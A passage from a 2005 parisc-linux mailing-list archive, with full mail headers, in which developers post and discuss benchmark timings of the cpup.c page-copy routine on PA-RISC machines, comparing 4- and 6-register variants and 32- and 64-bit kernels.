         Later Loops : min   5670  avg   7244  median   7124
TEST 2
          First Loop : min   9990  avg  11451  median  10353
         Later Loops : min   6197  avg   8669  median   8880
          First Loop : min   8748  avg  10379  median   9318
         Later Loops : min   5768  avg   7166  median   7022
          First Loop : min   8657  avg  10280  median   9208
         Later Loops : min   5773  avg   7239  median   7123
TEST 3
          First Loop : min   9993  avg  11442  median  10353
         Later Loops : min   6278  avg   8670  median   8880
          First Loop : min   8745  avg  10408  median   9318
         Later Loops : min   5804  avg   7163  median   7023
          First Loop : min   8681  avg  10340  median   9266
         Later Loops : min   5663  avg   7238  median   7120
TEST 4
          First Loop : min   9990  avg  11453  median  10347
         Later Loops : min   6282  avg   8661  median   8877
          First Loop : min   8751  avg  10400  median   9324
         Later Loops : min   5750  avg   7171  median   7024
          First Loop : min   8622  avg  10283  median   9213
         Later Loops : min   5680  avg   7235  median   7119
TEST 5
          First Loop : min  10032  avg  11442  median  10348
         Later Loops : min   6224  avg   8688  median   8884
          First Loop : min   8799  avg  10396  median   9323
         Later Loops : min   5751  avg   7165  median   7021
          First Loop : min   8622  avg  10286  median   9221
         Later Loops : min   5653  avg   7240  median   7120



This is on a 32-bit kernel:
$ uname -a
Linux vega 2.6.10-pa5 #1 Wed Jan 5 01:14:00 MST 2005 parisc GNU/Linux

TEST 1
          First Loop : min  10924  avg  11555  median  11090
         Later Loops : min   7744  avg   8196  median   8130
          First Loop : min   9584  avg  10251  median   9790
         Later Loops : min   6451  avg   6836  median   6784
          First Loop : min   9487  avg  10104  median   9673
         Later Loops : min   6202  avg   6604  median   6550
TEST 2
          First Loop : min  10927  avg  11553  median  11097
         Later Loops : min   7687  avg   8193  median   8130
          First Loop : min   9594  avg  10267  median   9790
         Later Loops : min   6451  avg   6853  median   6784
          First Loop : min   9477  avg  10117  median   9654
         Later Loops : min   6243  avg   6606  median   6549
TEST 3
          First Loop : min  10943  avg  11549  median  11104
         Later Loops : min   7670  avg   8197  median   8130
          First Loop : min   9607  avg  10255  median   9790
         Later Loops : min   6451  avg   6836  median   6783
          First Loop : min   9487  avg  10144  median   9674
         Later Loops : min   6216  avg   6604  median   6550
TEST 4
          First Loop : min  10924  avg  11527  median  11083
         Later Loops : min   6848  avg   8176  median   8118
          First Loop : min   9610  avg  10260  median   9810
         Later Loops : min   6451  avg   6837  median   6784
          First Loop : min   9493  avg  10140  median   9670
         Later Loops : min   6215  avg   6605  median   6552
TEST 5
          First Loop : min  10924  avg  11538  median  11087
         Later Loops : min   7703  avg   8191  median   8132
          First Loop : min   9583  avg  10236  median   9793
         Later Loops : min   6451  avg   6837  median   6783
          First Loop : min   9487  avg  10132  median   9674
         Later Loops : min   6171  avg   6606  median   6550


The K460 is a 8000 processor ... I'll see if I can get the K460
installed and updated to give you results from that system as well.  I
am also working on getting you results from a 715/100 
as well (currently in the middle of a new debian install).

Thanks,

- Ryan

> thanks,
> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
-- 
Ryan Bradetich <rbradetich@uswest.net>

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] more cpup.c results
Date: Wed, 5 Jan 2005 09:02:14 -0700
Lines: 49
Approved: news@gmane.org
Message-ID: <20050105160214.GA24439@colo.lackof.org>
References: <20050105055412.68E06495698@palinux.hppa>
	<20050105061613.GA12455@colo.lackof.org>
	<1104914456.8221.34.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623639 12169 80.91.229.3 (22 Nov 2014 02:33:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jan 2005 16:03:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx013) with SMTP; 05 Jan 2005 17:03:07 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5764B3BE70; Wed,  5 Jan 2005 09:03:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13962-06; Wed, 5 Jan 2005 09:02:56 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7BA323BE71; Wed,  5 Jan 2005 09:02:21 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 170873BE6F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Jan 2005 09:02:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13962-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 5 Jan 2005 09:02:16 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 1767E3BE6B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Jan 2005 09:02:16 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 6330D29805E;
	Wed,  5 Jan 2005 09:02:15 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24112-09; Wed, 5 Jan 2005 09:02:14 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 22A12298059; Wed,  5 Jan 2005 09:02:14 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1104914456.8221.34.camel@beavis>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22254

On Wed, Jan 05, 2005 at 01:40:56AM -0700, Ryan Bradetich wrote:
> This is on a 64-bit kernel:
> $ uname -a
> Linux vega 2.6.10-pa3 #1 Sun Jan 2 14:28:36 MST 2005 parisc64 GNU/Linux
> 
> TEST 1
>           First Loop : min   9990  avg  11444  median  10352
>          Later Loops : min   6290  avg   8673  median   8885
...


thanks for the results!

> This is on a 32-bit kernel:
> $ uname -a
> Linux vega 2.6.10-pa5 #1 Wed Jan 5 01:14:00 MST 2005 parisc GNU/Linux
> 
> TEST 1
>           First Loop : min  10924  avg  11555  median  11090
>          Later Loops : min   7744  avg   8196  median   8130
>           First Loop : min   9584  avg  10251  median   9790
>          Later Loops : min   6451  avg   6836  median   6784
>           First Loop : min   9487  avg  10104  median   9673
>          Later Loops : min   6202  avg   6604  median   6550

Interesting that cpup3 is slightly faster than cpup2 with
the 32-bit kernel. Since user space is 32-bit always, I wouldn't
have expected a difference in "Later Loops" output.

> The K460 is a 8000 processor ... I'll see if I can get the K460
> installed and updated to give you results from that system as well.  I

Well, don't sweat it. Others might have PA8000 box already up and running.

> am also working on getting you results from a 715/100 
> as well (currently in the middle of a new debian install).

715 is PA1.1. cpup2/3 won't work there.
It would be worth trying variants of cpup0 (32-bit) scheduling
on PA1.1 machines. I'll leave that as an excercise for others.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] more cpup.c results
Date: Tue, 4 Jan 2005 23:16:13 -0700
Lines: 57
Approved: news@gmane.org
Message-ID: <20050105061613.GA12455@colo.lackof.org>
References: <20050105055412.68E06495698@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623640 12173 80.91.229.3 (22 Nov 2014 02:34:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jan 2005 06:17:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx069) with SMTP; 05 Jan 2005 07:17:21 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0BC933BE6E; Tue,  4 Jan 2005 23:17:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08073-06; Tue, 4 Jan 2005 23:16:59 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 767CD3BE72; Tue,  4 Jan 2005 23:16:29 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C4E8F3BE70
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Jan 2005 23:16:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 08141-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 4 Jan 2005 23:16:22 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id B2D573BE6E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Jan 2005 23:16:21 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 11F00298056
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Jan 2005 23:16:21 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13720-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 4 Jan 2005 23:16:16 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 5801E29803F; Tue,  4 Jan 2005 23:16:16 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20050105055412.68E06495698@palinux.hppa>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22255

On Tue, Jan 04, 2005 at 10:54:12PM -0700, Grant Grundler wrote:
> 	add prefetching to copy_user_page_asm
> 	matches asm now checked into build-tools/cpup.c

I committed a new version of copy_user_page_asm based on
the results of build-tools/cpup.c.

Here's the output from the last set of cpup2 (4regs) run:
grundler <577>while :; do ./cpup2; done
          First Loop : min   9247  avg  12037  median  11250
         Later Loops : min   5568  avg   7006  median   6906
          First Loop : min   9180  avg  12051  median  11244
         Later Loops : min   5557  avg   7003  median   6904
          First Loop : min   9204  avg  12027  median  11239
         Later Loops : min   5556  avg   7002  median   6901
          First Loop : min   9197  avg  12032  median  11237
         Later Loops : min   5546  avg   6996  median   6901
          First Loop : min   9300  avg  12032  median  11225
         Later Loops : min   5584  avg   7001  median   6901

It's essentially indistiguishable from cpup3 (6 regs) routine:
grundler <579>while :; do ./cpup3; done
          First Loop : min   9188  avg  11992  median  11223
         Later Loops : min   5493  avg   7002  median   6874
          First Loop : min   9213  avg  11988  median  11224
         Later Loops : min   5487  avg   7004  median   6873
          First Loop : min   9252  avg  11991  median  11204
         Later Loops : min   5487  avg   7004  median   6874
          First Loop : min   9228  avg  12021  median  11219
         Later Loops : min   5550  avg   7003  median   6879
          First Loop : min   9200  avg  11994  median  11215
         Later Loops : min   5514  avg   6997  median   6874

Which tells me the L1 cache is accessible in 1 cycle on PA8700.
And if other CPU implementations need 2 cycles, it wouldn't
hurt to commit the 6regs version.

Can folks try this on PA8000 and PA82000 for me?
Check /proc/cpuinfo if you aren't sure what you have.

Should be a simple cut/paste of 4 lines to a shell prompt:

gcc -O2 -o cpup0 cpup.c
gcc -O2 -march=2.0 -DLP64 -o cpup2 cpup.c
gcc -O2 -march=2.0 -DLP64 -DUSE6REGS -o cpup3 cpup.c
for i in 1 2 3 4 5; do echo TEST $i; ./cpup0; ./cpup2; ./cpup3; done

Please post the output to the mailing list along with /proc/cpuinfo.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] more cpup.c results
Date: Wed, 5 Jan 2005 09:20:45 +0100
Lines: 87
Approved: news@gmane.org
Message-ID: <41C96BC400002ED6@mail-1-bnl.tiscali.it>
References: <20050105061613.GA12455@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623640 12175 80.91.229.3 (22 Nov 2014 02:34:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:00 +0000 (UTC)
To: "Grant Grundler" <grundler@parisc-linux.org>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jan 2005 08:21:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx047) with SMTP; 05 Jan 2005 09:21:26 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7A2E13BE6B; Wed,  5 Jan 2005 01:21:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09847-03; Wed, 5 Jan 2005 01:21:22 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5EED43BE72; Wed,  5 Jan 2005 01:20:58 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 686D03BE6E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Jan 2005 01:20:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 08923-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 5 Jan 2005 01:20:50 -0700 (MST)
Original-Received: from mail-r3.tiscali.it (unknown [213.205.37.211])
	by free.linux.hp.com (Postfix) with ESMTP id C357E3BE6B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Jan 2005 01:20:49 -0700 (MST)
Original-Received: from tiscali.be (10.39.113.121)
	by mail-r3.tiscali.it with ESMTP; 05 Jan 2005 09:20:48 +0100
Original-Received: from mail-1-bnl.mail.tiscali.sys ([10.39.115.131]
	helo=mail-1-bnl.tiscali.it)
	by mrq-1.tiscalinet.it with esmtp (Exim 4.43)
	id 1Cm6PP-0002D4-C9; Wed, 05 Jan 2005 09:20:48 +0100
Original-Received: from [57.67.177.33] by mail-1-bnl.tiscali.it with HTTP;
	Wed, 5 Jan 2005 09:20:45 +0100
In-Reply-To: <20050105061613.GA12455@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22256

Hello Grant,

> -- Original Message --
> Date: Tue, 4 Jan 2005 23:16:13 -0700
> From: Grant Grundler <grundler@parisc-linux.org>
> To: parisc-linux@lists.parisc-linux.org
> Subject: [parisc-linux] more cpup.c results
> 
> 
> On Tue, Jan 04, 2005 at 10:54:12PM -0700, Grant Grundler wrote:
> > 	add prefetching to copy_user_page_asm
> > 	matches asm now checked into build-tools/cpup.c
> 
[...]
> Which tells me the L1 cache is accessible in 1 cycle on PA8700.
> And if other CPU implementations need 2 cycles, it wouldn't
> hurt to commit the 6regs version.
> 
> Can folks try this on PA8000 and PA82000 for me?
> Check /proc/cpuinfo if you aren't sure what you have.
> 
Unfortunately only pa8600 (n4k and b2k) ...

> Should be a simple cut/paste of 4 lines to a shell prompt:
> 
> gcc -O2 -o cpup0 cpup.c
> gcc -O2 -march=3D2.0 -DLP64 -o cpup2 cpup.c
> gcc -O2 -march=3D2.0 -DLP64 -DUSE6REGS -o cpup3 cpup.c
> for i in 1 2 3 4 5; do echo TEST $i; ./cpup0; ./cpup2; ./cpup3; done
> 
anyway here are some results from a b2k (runing obviously a 2.6.10-pa4 64=
bits):
# for i in 1 2 3 4 5; do echo TEST $i; ./cpup0; ./cpup2; ./cpup3; done
TEST 1
          First Loop : min  14462  avg  17576  median  15409
         Later Loops : min   6628  avg   8597  median   7953
          First Loop : min  10313  avg  13497  median  11727
         Later Loops : min   3581  avg   4843  median   4568
          First Loop : min  10714  avg  13703  median  11897
         Later Loops : min   3630  avg   5033  median   4778
TEST 2
          First Loop : min  14445  avg  17452  median  15428
         Later Loops : min   6616  avg   8605  median   7945
          First Loop : min  10358  avg  13510  median  11755
         Later Loops : min   3597  avg   4835  median   4567
          First Loop : min  10669  avg  13708  median  11885
         Later Loops : min   3618  avg   5034  median   4780
TEST 3
          First Loop : min  14459  avg  17437  median  15432
         Later Loops : min   6621  avg   8592  median   7943
          First Loop : min  10345  avg  13541  median  11732
         Later Loops : min   3584  avg   4853  median   4566
          First Loop : min  10658  avg  13695  median  11879
         Later Loops : min   3637  avg   5032  median   4775
TEST 4
          First Loop : min  14503  avg  17455  median  15429
         Later Loops : min   6605  avg   8595  median   7945
          First Loop : min  10265  avg  13515  median  11740
         Later Loops : min   3566  avg   4835  median   4562
          First Loop : min  10681  avg  13720  median  11886
         Later Loops : min   3651  avg   5035  median   4778
TEST 5
          First Loop : min  14472  avg  17460  median  15425
         Later Loops : min   6627  avg   8590  median   7938
          First Loop : min  10376  avg  13555  median  11742
         Later Loops : min   3597  avg   4843  median   4570
          First Loop : min  10684  avg  13689  median  11891
         Later Loops : min   3663  avg   5027  median   4775

hth,
      Joel

-------------------------------------------------------------------------=
--
Tiscali vous offre 3 mois d'ADSL et 3 mois de DVD gratuits...profitez-en.=
..
http://reg.tiscali.be/adsl/default.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@wolfbutter.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DIFF use 6-regs in copy_user_page_asm
Date: Wed, 5 Jan 2005 16:01:23 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <200501051601.23521.mszick@wolfbutter.com>
References: <200501050000.j0500iKD024978@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623640 12177 80.91.229.3 (22 Nov 2014 02:34:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jan 2005 22:02:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx066) with SMTP; 05 Jan 2005 23:02:53 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C1C2F3BE71; Wed,  5 Jan 2005 15:02:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17791-07; Wed, 5 Jan 2005 15:02:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 57A743BE73; Wed,  5 Jan 2005 15:02:07 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ABB0B3BE70
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Jan 2005 15:02:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16394-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 5 Jan 2005 15:02:01 -0700 (MST)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 84A443BE6F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Jan 2005 15:02:01 -0700 (MST)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.12.9p2/8.12.9) with SMTP id
	j05M20KH006947 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 5 Jan 2005 14:02:00 -0800 (PST)
	(envelope-from mszick@wolfbutter.com)
Original-Received: from [65.40.211.11] (via account 20976)
	by mx-out.daemonmail.net with ESMTP id y3I0lcZ0
	authenticated by SMTP; Wed, 05 Jan 2005 14:02:00 -0800 (PST)
User-Agent: KMail/1.6.2
In-Reply-To: <200501050000.j0500iKD024978@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22257

On Tue January 4 2005 18:00, John David Anglin wrote:

> 
> This is what the GCC machine definitions says:
> 

> ;;
> ;; It's worth noting that there is no way to saturate all the functional
> ;; units on the PA8000 as there is not enough issue bandwidth.
> 
> Comments?
>
Thanks,
That is what I tried to say but couldn't find the reference.

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DIFF use 6-regs in copy_user_page_asm
